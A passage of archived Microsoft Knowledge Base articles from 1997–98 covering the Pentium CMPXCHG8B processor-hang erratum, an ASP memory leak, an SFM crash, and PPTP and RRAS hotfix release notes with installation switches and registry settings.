Contact Microsoft Technical Support for more information.

Additional query words: 4.00

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q163852
TITLE   :Invalid Operand with Locked CMPXCHG8B Instruction
PRODUCT :Microsoft Windows NT | Microsoft Windows
PROD/VER:4.00 | 95
OPER/SYS:WINDOWS
KEYWORDS:kbbug kbhw kbpatch NTSrvWkst

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation versions 3.5, 3.51, and 4.0
 - Microsoft Windows NT Server versions 3.5, 3.51, and 4.0
 - Microsoft Windows 95
--------------------------------------------------------------------------

SYMPTOMS
========

When an Intel processor receives a specific invalid instruction, your
computer may stop responding (hang). Your computer must be turned off and
restarted to return to normal operation.

NOTE: Although there is no known operating system or application that
issues such an invalid instruction, you should be aware that a program can
be written maliciously to contain such an instruction. The operating system
would not trap this error, as it should, which results in the processor
hang.

CAUSE
=====

This problem can occur due to an error in the following Intel processors:

 - Pentium processor
 - Pentium processor with MMX technology
 - Pentium OverDrive processor
 - Pentium OverDrive processors with MMX technology

NOTE: This problem cannot occur on the following Intel processors:

 - Pentium Pro processor
 - Pentium II processor
 - i486 and earlier processors

This problem is known as "Invalid Operand with Locked CMPXCHG8B
Instruction" and is erratum 81 on the Pentium processor errata list. For
more information, please contact Intel or go to the following Intel web
site:

   http://support.intel.com/sites/support/

RESOLUTION
==========

Intel has identified a workaround to this problem that allows the operating
system to trap the invalid instruction and not pass it to the processor.
Microsoft has worked closely with Intel to provide the following hotfixes:

Windows NT 4.0
--------------

To resolve this problem for Windows NT 4.0, obtain the following fix or
wait for the next Windows NT service pack.

This fix should have the following time stamp:

   11/24/97  12:24p                51,968 Hal.dll
   11/24/97  12:24p                48,384 Hal486c.dll
   11/24/97  12:25p                66,400 Halapic.dll
   11/24/97  12:24p                46,112 Halast.dll
   11/24/97  12:25p                82,208 Halcbus.dll
   11/24/97  12:25p                80,320 Halcbusm.dll
   11/24/97  12:24p                46,400 Halmca.dll
   11/24/97  12:25p                68,544 Halmps.dll
   11/24/97  12:25p                67,552 Halmpsm.dll
   11/24/97  12:26p                79,008 Halncr.dll
   11/24/97  12:25p                40,192 Haloli.dll
   11/24/97  12:25p                56,608 Halsp.dll
   11/24/97  12:25p                40,768 Halwyse7.dll
   11/20/97  06:23p               938,816 Ntkrnlmp.exe
   11/20/97  06:22p               918,848 Ntoskrnl.exe

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/pent-fix/

NOTE: The above link is one path; it has been wrapped for readability.

Windows NT 3.51
---------------

To resolve this problem for Windows NT 3.51, obtain the following fix.

This fix should have the following time stamp:

   11/24/97  12:42p                49,840 Hal.dll
   11/24/97  12:42p                48,768 Hal486c.dll
   11/24/97  12:42p                65,648 Halapic.dll
   11/24/97  12:42p                46,704 Halast.dll
   11/24/97  12:42p                81,056 Halcbus.dll
   11/24/97  12:42p                79,200 Halcbusm.dll
   11/24/97  12:42p                46,912 Halmca.dll
   11/24/97  12:42p                67,696 Halmps.dll
   11/24/97  12:42p                40,480 Haloli.dll
   11/24/97  12:42p                53,744 Halsp.dll
   11/24/97  12:42p                49,840 Halws3.dll
   11/24/97  12:42p                41,072 Halwyse7.dll
   11/21/97  01:35p               821,904 Ntkrnlmp.exe
   11/21/97  01:34p               810,016 Ntoskrnl.exe

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT351/
   hotfixes-postSP5/pent-fix/

NOTE: The above link is one path; it has been wrapped for readability.

Windows 95
----------

A fix for Windows 95 is not yet available.

STATUS
======

Windows NT 4.0
--------------

Intel has confirmed this to be a problem in the Intel processors listed
above.

A supported fix is now available from Microsoft, but has not been fully
regression-tested and should be applied only to systems experiencing this
specific problem. Unless you are severely impacted by this specific
problem, Microsoft recommends that you wait for the next Service Pack that
contains this fix. Contact Microsoft Technical Support for more
information.

Windows NT 3.51
---------------

Intel has confirmed this to be a problem in the Intel processors listed
above. A supported fix is now available from Microsoft, but has not been
fully regression-tested and should be applied only to systems experiencing
this specific problem. Unless you are severely impacted by this specific
problem, Microsoft recommends that you wait for the next Service Pack that
contains this fix. Contact Microsoft Technical Support for more
information.

Windows 95
----------

Intel has confirmed this to be a problem in the Intel processors listed
above. Microsoft is researching this problem and will post new information
here in the Microsoft Knowledge Base as it becomes available.

Additional query words: 95 3.50 3.51 4.00 i386 malicious hangs freeze
freezes erratum cmpxchg8b compare and exchange 8 bytes cold boot hard boot

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


Article ID: Q165335
PRODUCT iis
TITLE : Performance degradation due to memory leak in ASP.DLL
VERSION(S):IIS3.0 ASP 1.0B
OP SYS(S) WINDOWS
SECURITY :PUBLIC

----------------------------------------------------------------------------------------
The information in this article applies to:

Microsoft Internet Information Server, versions 3.0 •Microsoft Active Server Pages 1.0b

-----------------------------------------------------------------------------------------

SYMPTOMS
========

If you are running Active Server Pages version 1.0b on
Microsoft Internet Information Server (IIS) version 3.0,
you may experience performance problems. It may take a long
time for you to notice these performance problems, depending
on how often the Active Server Pages are accessed.

CAUSE
=====
These performance problems are caused by a memory leak
in Asp.dll. You can confirm this with Performance Monitor.

RESOLUTION
==========
A hotfix has been posted to the following Internet location.
You can download the self-extracting files from the following service:

Internet (anonymous FTP)

ftp ftp.microsoft.com Change to the bussys/winnt/winnt-public/fixes/usa/

      nt40/hotfixes-postsp3/asp-fix/ folder.

Get Readme.1st (for instructions on downloading and installing the hotfix)

-or- Use the following full URL on your client browser:

FTP://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/
nt40/hotfixes-postSP3/asp-fix/readme.1st

NOTE: THIS FIX IS ONLY FOR MICROSOFT ACTIVE SERVER PAGES VERSION 1.0B.
DO NOT APPLY TO ACTIVE SERVER PAGES VERSIONS 1.0 OR 1.OA.

REFERENCE
=========

For additional information, please see the following article in the
Microsoft Knowledge Base:

   ARTICLE-ID: Q150934
   TITLE     : How to Create a Performance Monitor Log for NT
               Troubleshooting

STATUS
======
Microsoft has confirmed this to be a problem in Microsoft Active Server Pages
version 1.0b. A supported fix is now available, but has not been fully
regression-tested and should be applied only to systems experiencing this
specific problem. Unless you are severely impacted by this specific problem,
Microsoft recommends that you wait for the next Service Pack that contains
this fix. Contact Microsoft Technical Support for more information.

------------------------------------------------------------------------
Keywords : indxregistry kberrmsg kbusage
Version : 1.0 3.0
Platform : WinNT
------------------------------------------------------------------------

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED
"AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES,
EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION
OR ITS SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT,
INDIRECT, INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL
DAMAGES, EVEN IF MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED
OF THE POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE
FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q166571
TITLE   :Creating an SFM Volume on Large Partition Causes a Stop 0x24
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfix4.00 kbfile
--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

Shortly after you create a Macintosh volume on a partition larger than
approximately seven (7) GB with a large number of files, the system
may crash with a STOP 0x24 error in NTFS_FILE_SYSTEM (NTFS.SYS).

CAUSE
=====

The AppleTalk protocol driver Afp.sys, depletes the memory pool allocated
to non-paged pool while indexing a Services for Macintosh (SFM) volume.

This problem may also occur when the Services for Macintosh (SFM) server
is experiencing performance problems, Event ID 12053 errors, or indexing
problems. See the following Microsoft Knowledge Base articles for more
information:

   ARTICLE-ID: Q136300
   TITLE     : Event ID 12053 Caused by Macintosh Client Disconnect

   ARTICLE-ID: Q147909
   TITLE     : Troubleshooting MacVolume Creation Errors

RESOLUTION
==========

To resolve this problem, contact Microsoft Technical Support to obtain the
following fix, or wait for the next Windows NT service pack.

This fix should have the following time stamp:

   02/03/98  02:10p               130,352 Sfmsrv.sys (Intel)
   02/03/98  03:07p               234,064 Sfmsrv.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/sfm-fix/

NOTE: The above link is one path; it has been wrapped for readability.

To work around this problem, increase the non-paged pool memory available
to kernel or reduce the number of files on the SFM volume. The amount of
non-paged pool available to kernel is a fixed value that is based upon the
total RAM in the system. If you increase the RAM you will increase the non-
paged pool available to kernel.

MORE INFORMATION
================

This problem will generally only occur on a partition with 100,000 or
more files that take up 7 to 8 GB or more disk space. When a SFM volume is
created, the service will start indexing the partition. The indexing
routines create memory structures that consume a large amount of non-
paged pool memory and if your volume is large enough and has enough
files, you will run out of non-paged pool and the system will stop
responding. In most cases, this results in a STOP 0x24 in NTFS, although
it can occur when another kernel-mode driver attempts to allocate
resources that require non-paged pool memory.

The system may simply be slow and unresponsive for the first 20 to 40
minutes after creating the Macintosh volume. This is because of the large
amount of kernel memory being used by SFM. If SFM is able to complete
the indexing without running out of non-paged pool memory the memory
will be freed and the system will return to normal. There should be no
problems after this unless enough changes occur that a full re-indexing is
necessary. In this case, SFM will have to repeat the procedure.

The simplest way to identify this problem is to run Performance Monitor
after you create the SFM volume and watch the Memory\Pool Nonpaged Bytes
counter. If a constant increase in non-paged pool bytes occurs over a 20
to 30 minute period of time, resulting in large amount (20 to 30 MB or
more) of non-paged pool, you may be experiencing this problem.

For more information, please see the following articles in the Microsoft
Knowledge Base:

   ARTICLE-ID: Q170956
   TITLE     : SFM Time and Date Stamp Change Copying Between Volumes
               Locally

   ARTICLE-ID: Q172511
   TITLE     : Stop 0x0000000A w/ Services for Macintosh & McAfee Anti-
               Virus

   ARTICLE-ID: Q177644
   TITLE     : Commenting Macintosh File Changes Date and Time Stamp

   ARTICLE-ID: Q178364
   TITLE     : Macintosh Clients See Files on WinNT Server Constantly
               Moving

   ARTICLE-ID: Q180622
   TITLE     : STOP:0x0000001E with STATUS_INSUFFICIENT_RESOURCES in
               Sfmsrv.sys

   ARTICLE-ID: Q180716
   TITLE     : SFM Fails to Accept Associations with Two-Character
               Extensions

   ARTICLE-ID: Q180717
   TITLE     : SFM: File Date and Time Stamp Change with Get Info

   ARTICLE-ID: Q180718
   TITLE     : SFM: Disconnect Macintosh Clients before Dismounting Volume

   ARTICLE-ID: Q185722
   TITLE     : SFM Rebuilds Indexes upon Restarting of Windows NT

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

Additional query words: sfmsrv afp 0x00000024
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q167040
TITLE   :PPTP Performance Update for Windows NT 4.0 Release Notes
PRODUCT :Microsoft Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS
KEYWORD :kbfix4.00 kbfile
---------------------------------------------------------------------------
The information in this article applies to the following:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Workstation version 4.0
---------------------------------------------------------------------------

SUMMARY
=======

This article contains a copy of the Point to Point Tunneling Protocol
(PPTP) Performance Update for Microsoft Windows NT Server and
Workstation version 4.0 Release Notes. The Point to Point Tunneling
Protocol (PPTP) Performance Update is available at:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/PPTP2-fix/

NOTE: The above link is one path; it has been wrapped for readability.

US and Canadian customers can download the 128-bit version of this hotfix
by performing the following steps:

1. Go to the following web page:

      http://Support.Microsoft.com/Support/NTServer/Content/ServicePacks
      /Where.asp

   NOTE: The above link is one line; it has been wrapped for
   readability.

2. Click "Windows NT 4.0 Service Pack 3 (128-bit)" and then follow the
   instructions on your screen.

MORE INFORMATION
================

    Point to Point Tunneling Protocol (PPTP) Performance Update for
     Microsoft Windows NT 4.0 Server and Workstation Release Notes

Please use this document to address questions which may arise during the
installation of this PPTP Update for Microsoft Windows NT 4.0 Server and
Workstation.

----------------------------------------------------------------------
Contents

 - Information on Installation
 - New features added in this Update
 - Other issues addressed in this Update
----------------------------------------------------------------------

Information on Installation
---------------------------

Microsoft has released a PPTP Performance Update for the Windows NT
Workstation and Server version 4.0. We have made refinements to current
Windows PPTP client and server communication technologies that
significantly improve the performance of secure PPTP connections via the
Internet.

This update should be applied to both Windows NT 4.0 Servers and
Workstations. You must have Service Pack 3 for Windows NT 4.0 installed
before applying this update. Windows NT 4.0 Servers running Routing and
Remote Access Service (RRAS) must first apply this Windows NT PPTP Update
followed by the RRAS Hotfix 2.0. For more information, please see the
following article in the Microsoft Knowledge Base:

   ARTICLE-ID: Q168469
   TITLE     : RRAS Upgrade for WinNT Server 4.0 Hotfix Pack 2.0 Release
               Notes

This update is packaged in an auto-install format. Copy the Update to a
temporary directory, and double-click the executable name or type the
executable name "pptpfixi.exe" for x86 or "pptpfixa.exe" for alpha (without
quotation marks) at a command prompt to install.

The files can also be extracted from the Update without installing them.
To do this, copy the Update to a temporary directory, and type pptpfixi/x
or pptpfixa/x at a command prompt. After extracting the files, the Update
can be installed by typing hotfix at a command prompt.

To uninstall this update, type "HOTFIX -Y" (without quotation marks) from
the directory you copied the files to.

Output of "HOTFIX -?":

   HOTFIX [-y] [-f] [-n] [-z] [-q] [-m] [-l]
      -y Perform uninstall (only with -m or -q)
      -f Force apps closed at shutdown
      -n Do not create uninstall directory
      -z Do not reboot when update completes
      -q Quiet or Unattended mode with no user interface
      -m Unattended mode with user interface
      -l List installed hotfixes

RAS Servers that terminate compulsory PPTP connections from an FEP (Front
End Processor) must disable historyless compression/encryption in order for
legacy Windows 95 clients to receive data properly. An FEP is a dial-up
server which can create a PPTP tunnel on behalf of its dial-up clients.
This feature is available from several Access Server vendors, including
Compaq (Microcom), Ascend, and 3com.

The value to set in the registry to enable/disable historyless
encryption/compression is:

   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NdisWan
   \Parameters

   Historyless: REG_DWORD: 0 - Disabled
                REG_DWORD: 1 - Enabled [default]

New Features Added in this Update
---------------------------------

PPTP Performance Issues Addressed in this Update:

 - A new historyless mode for encryption and compression over PPTP
   connections has been enabled in this update. This new mode solves
   performance problems encountered using PPTP in high latency networks or
   networks that experience significant packet loss. This upgrade is fully
   compatible with legacy PPTP systems. However, in order to negotiate
   historyless mode, both the PPTP client and server must support it. If
   either client or server refuses the new mode, normal MPPE compression
   and encryption will be negotiated. To experience the full benefit of the
   PPTP performance update, this Update must be installed on both Windows
   NT clients and servers.

 - The default PPTP receive window size was increased to 16.

 - The window between the NDISWAN driver and the PPTP driver was increased.

 - The PPTP frame size defaults to 1400 bytes to avoid packet
   fragmentation. This was fixed in an earlier hotfix, and is also included
   in this update. It is documented at

      http://support.microsoft.com/support/kb/articles/q162/2/30.asp

Other Issues Addressed in this Update
-------------------------------------

Remote Access Service and PPTP Issues:

 - PPTP server responsiveness has been improved during the time period
   right after termination of multiple PPTP connections.

 - Corrected a problem in the PPTP server in which an improperly configured
   "start session" in the packet header could disable a PPTP server. It is
   documented at

      http://support.microsoft.com/support/kb/articles/q179/1/07.asp

 - Improved integrity of session encryption in MPPE by removing
   predictability of successive packet following an encryption or
   compression reset.

 - Corrected a user interface issue where, under certain situations, a
   RAS/PPTP server could allow a client to connect with no data encryption
   even though the administrator was under the impression that the server
   was configured to require data encryption. It is documented at

      http://support.microsoft.com/support/kb/articles/q177/6/70.asp

 - Updated MSCHAP to disable sending the LM hash when client set to
   "require" 128-bit encryption.

Other NT Issues Addressed in this Update
----------------------------------------

 - This release includes an enhancement to TCP/IP which will improve the
   performance of TCP-based applications over high latency networks, such
   as the Internet.

Information in this document is subject to change without notice and is
provided for informational purposes only.  The entire risk of the use or
results of the use of this document remains with the user, and Microsoft
Corporation makes no warranties, either express or implied.  The names of
companies, products, people, characters, and/or data mentioned herein are
fictitious and are in no way intended to represent any real individual,
company, product, or event, unless otherwise noted.  Complying with all
applicable copyright laws is the responsibility of the user.  No part of
this document may be reproduced or transmitted in any form or by any means,
electronic or mechanical, for any purpose, without the express written
permission of Microsoft Corporation.

Microsoft may have patents, patent applications, trademarks, copyrights, or
other intellectual property rights covering subject matter in this
document.  Except as expressly provided in any written license agreement
from Microsoft, the furnishing of this document does not give you any
license to these patents, trademarks, copyrights, or other intellectual
property.

(c) 1998 Microsoft Corporation. All rights reserved.

Microsoft, MS-DOS, MS, Windows, Windows NT, are either registered
trademarks or trademarks of Microsoft Corporation in the U.S.A. and/or
other countries.

Other product and company names mentioned herein may be the trademarks of
their respective owners.

Additional query words: 4.00

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q168469
TITLE   :RRAS Upgrade for WinNT Server 4.0 Hotfix Pack 2.0 Release Notes
PRODUCT :Microsoft Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS
KEYWORD :kbfix4.00 kbfile
---------------------------------------------------------------------------
The information in this article applies to the following:

 - Microsoft Windows NT Server version 4.0
 - Routing and Remote Access Service Update for Windows NT Server
   version 4.0
---------------------------------------------------------------------------

SUMMARY
=======

This article contains a copy of the Routing and Remote Access Upgrade for
Microsoft Windows NT 4.0 Server Hotfix Pack 2.0 Release Notes. Routing
and Remote Access Upgrade for Microsoft Windows NT 4.0 Server Hotfix Pack
2.0 is available at:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/rras20-fix/

NOTE: The above link is one path; it has been wrapped for readability.

MORE INFORMATION
================

 Routing and Remote Access Upgrade for Microsoft Windows NT 4.0 Server
                     Hotfix Pack 2.0 Release Notes

Please use this document to address questions which may arise during the
installation of this Routing and Remote Access Hotfix Pack 2.0 for
Microsoft Windows NT 4.0 Server.

----------------------------------------------------------------------
Contents

 - Information on Installation
 - List of issues addressed
 - Known Problems
 - Fixes and Features included from Hotfix Update 1.0
----------------------------------------------------------------------

Information on Installation
---------------------------

This Hotfix Pack requires that you already have Routing and Remote Access
Service for Windows NT 4.0 Server installed on your system. Note that you
must first apply the Windows NT 4.0 PPTP Update before applying the RRAS
hotfix 2.0. For more information, please see the following article in the
Microsoft Knowledge Base:

   ARTICLE-ID: Q167040
   TITLE     : PPTP Performance Update for Windows NT 4.0 Release Notes

This release includes the features and fixes from Routing and Remote Access
Hotfix Update 1.0 and is packaged in an auto-install format. Copy the
Hotfix to a temporary directory, and double-click the executable name or
type the executable name "rrasfixi.exe" for x86, or "rrasfixa.exe" for
alpha at a command prompt to install.

The files can also be extracted from the Hotfix Pack without installing
them. To do this, copy the Hotfix to a temporary directory, and type
"rrasfixi /x" or "rrasfixa/x" at a command prompt (without the quotation
marks). After extracting the files, the Hotfix can be installed by typing
hotfix at a command prompt.

To uninstall this update, type "HOTFIX -Y" (without quotation marks) from
the directory you copied the files to.

Output of "HOTFIX -?":

   HOTFIX [-y] [-f] [-n] [-z] [-q] [-m] [-l]
      -y Perform uninstall (only with -m or -q)
      -f Force apps closed at shutdown
      -n Do not create uninstall directory
      -z Do not reboot when update completes
      -q Quiet or Unattended mode with no user interface
      -m Unattended mode with user interface
      -l List installed hotfixes

List of Issues Addressed
------------------------

NT Issues Performance Issues:

 - This release includes an enhancement to TCP/IP that will improve the
   performance of TCP-based applications over high latency networks, such
   as the Internet.

Routing Issues:

 - Added new Demand dial filters. You can now keep demand dial interfaces
   from dialing by setting filters using the Routemon.exe command with a
   new "Filtertype= Dial" option. The new syntax for this is the same for
   setting Input and Output filters using Routemon.exe, and can be seen by
   typing "routemon ip set filter /?" at a command prompt.

   The following is an example of the syntax used to prevent a demand dial
   interface from dialing:

      C:\>routemon ip add filter myremoterouter dial 0.0.0.0 0.0.0.0
      0.0.0.0 0.0.0.0 any

      C:\>routemon ip set filter myremoterouter dial forward

   NOTE: The first example above is one line; it has been wrapped for
   readability.

   For more information on using the Routemon.exe command to set filters,
   please see the Routing and Remote Access Administrator's Guide.

 - Added the capability to filter fragmented IP packets. Two registry keys
   control this functionality.

      HKEY_LOCAL_MACHINE\System|CurrentControlSet\IPFilterDriver
      \Parameters

      EnableFragmentChecking REG_DWORD
      Setting this to 1 enables fragment checks

      DefaultForwardFragments REG_DWORD
      Setting this to 0 causes the filterdriver to drop fragments if they
      don't match a previous header.

 - Changes were made to the Router's Radius client to address a duplicate
   Acct-Session-Id accounting problem, as well as an issue that caused the
   reversal of the FramedIPAddress returned from a Radius server. In
   addition, the RADIUS client now sends the NAS-Port-Type and Acct-
   Session-Time attributes.

 - Resolved issue that used to cause an Access Violation when adding a
   Virtual Interface right after configuring an Area under OSPF routing.
   Adjusted the RIP Authentication type to 2 instead of 1, per RFC 1388.

   NOTE: This update must be applied to all Routing and Remote Access
   routers if you are using RIP2 authentication.

 - Resolved issue which could cause Mprouter to hang when doing an
   "ipconfig /release".

 - Made a change that ensures that periodic RIP route updates will resume
   each time a demand-dial interface is reactivated.

Known Problems in this Update
-----------------------------

 - Although there is a checkbox in the Global IP Config dialog to
   enable/disable filtering, at this time the only functionality it has is
   to visually show you if any filters have been configured on your
   interface(s). Regardless, the filter driver is always enabled. In order
   to disable filtering on an interface, you must use the per interface
   option in the Interface IP Config dialog.

 - Even though the "Filtertype= Dial" option has been properly configured
   for a demand dial interface, it might still be possible for that
   interface to dial. This will only occur if you are pinging from the
   command line of the Routing and RAS server in which the demand dial
   interface is configured.

Fixes and Features Included from Hotfix Update 1.0
--------------------------------------------------

New Features Added in Hotfix 1.0:

 - Allowing PPP clients to connect without authentication

   This can be accomplished by altering the default registry key as shown:

      HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Rasman
      \PPP\ForceEncryptedPassword

      (DWORD) 3 allows the server to accept incoming PPP clients without
      authentication.

 - Using MS-CHAP with Radius authentication

   In order to enable MS-CHAP with RADIUS authentication, you must add a
   registry value

      HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Rasman
      \PPP\CHAP\OfferMSCHAP

      and set it to (DWORD) 1.

   Once this is enabled every incoming PPP connection will be offered MS-
   CHAP, and MS-CHAP will be used to authenticate each PPP user against the
   Radius server that your RAS server is using.

List of Issues Fixed in Hotfix Update 1.0:

All bug fixes contained in this hotfix are listed below. You can query the
Microsoft Knowledge Base (KB) to find an article about a specific bug by
using the KB Qxxxxxx number that is assigned to the bug. The Microsoft
Knowledge Base can be found on the Microsoft Web site at
http://support.microsoft.com/support/.

 KB#      Brief Description
-----------------------------------------------------------------------
 Q172290  Routing and Remote Access "Out of Buffers" Event Logs
 Q176689  RRAS Requires hotfix when Using Proxy 2.0
 Q173533  WinNT Radius Client Sends Incomplete Accounting Information
 Q176506  Radius Accounting Only Logs One Entry for Multilink Client
 Q173532  Radius Authentication Causes Access Violation in Mprouter.exe
 Q172512  Routing and Remote Access Event ID 20100
 Q176502  RAS Authentication Rechallenge Resets Compression Flag
 Q176209  RAS or RRAS Server Fails to Answer Incoming Calls
 Q167038  RAS Clients Run Winsock and RPC Applications Slowly
 Q171061  RIP Does Not Advertise Zero Subnets
 Q160517  RRAS May Decrement Local Static Route Metric
 Q176082  RRAS Server Updates Link State Database but not Route Table
 Q162834  RRAS Stops Routing After Encountering Zero Checksum
 Q104296  RRAS Uses Larger MTU Than Other OSPF Routers

Information in this document is subject to change without notice and is
provided for informational purposes only.  The entire risk of the use or
results of the use of this document remains with the user, and Microsoft
Corporation makes no warranties, either express or implied.  The names of
companies, products, people, characters, and/or data mentioned herein are
fictitious and are in no way intended to represent any real individual,
company, product, or event, unless otherwise noted.  Complying with all
applicable copyright laws is the responsibility of the user.  No part of
this document may be reproduced or transmitted in any form or by any means,
electronic or mechanical, for any purpose, without the express written
permission of Microsoft Corporation.

Microsoft may have patents, patent applications, trademarks, copyrights, or
other intellectual property rights covering subject matter in this
document.  Except as expressly provided in any written license agreement
from Microsoft, the furnishing of this document does not give you any
license to these patents, trademarks, copyrights, or other intellectual
property.

(c) 1998 Microsoft Corporation. All rights reserved.

Microsoft, MS-DOS, MS, Windows, Windows NT, are either registered
trademarks or trademarks of Microsoft Corporation in the U.S.A. and/or
other countries.

Other product and company names mentioned herein may be the trademarks of
their respective owners.

Additional query words: 4.00 rras
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q169274
TITLE   :TCP/IP Causes Time Wait States to Exceed Four Minutes
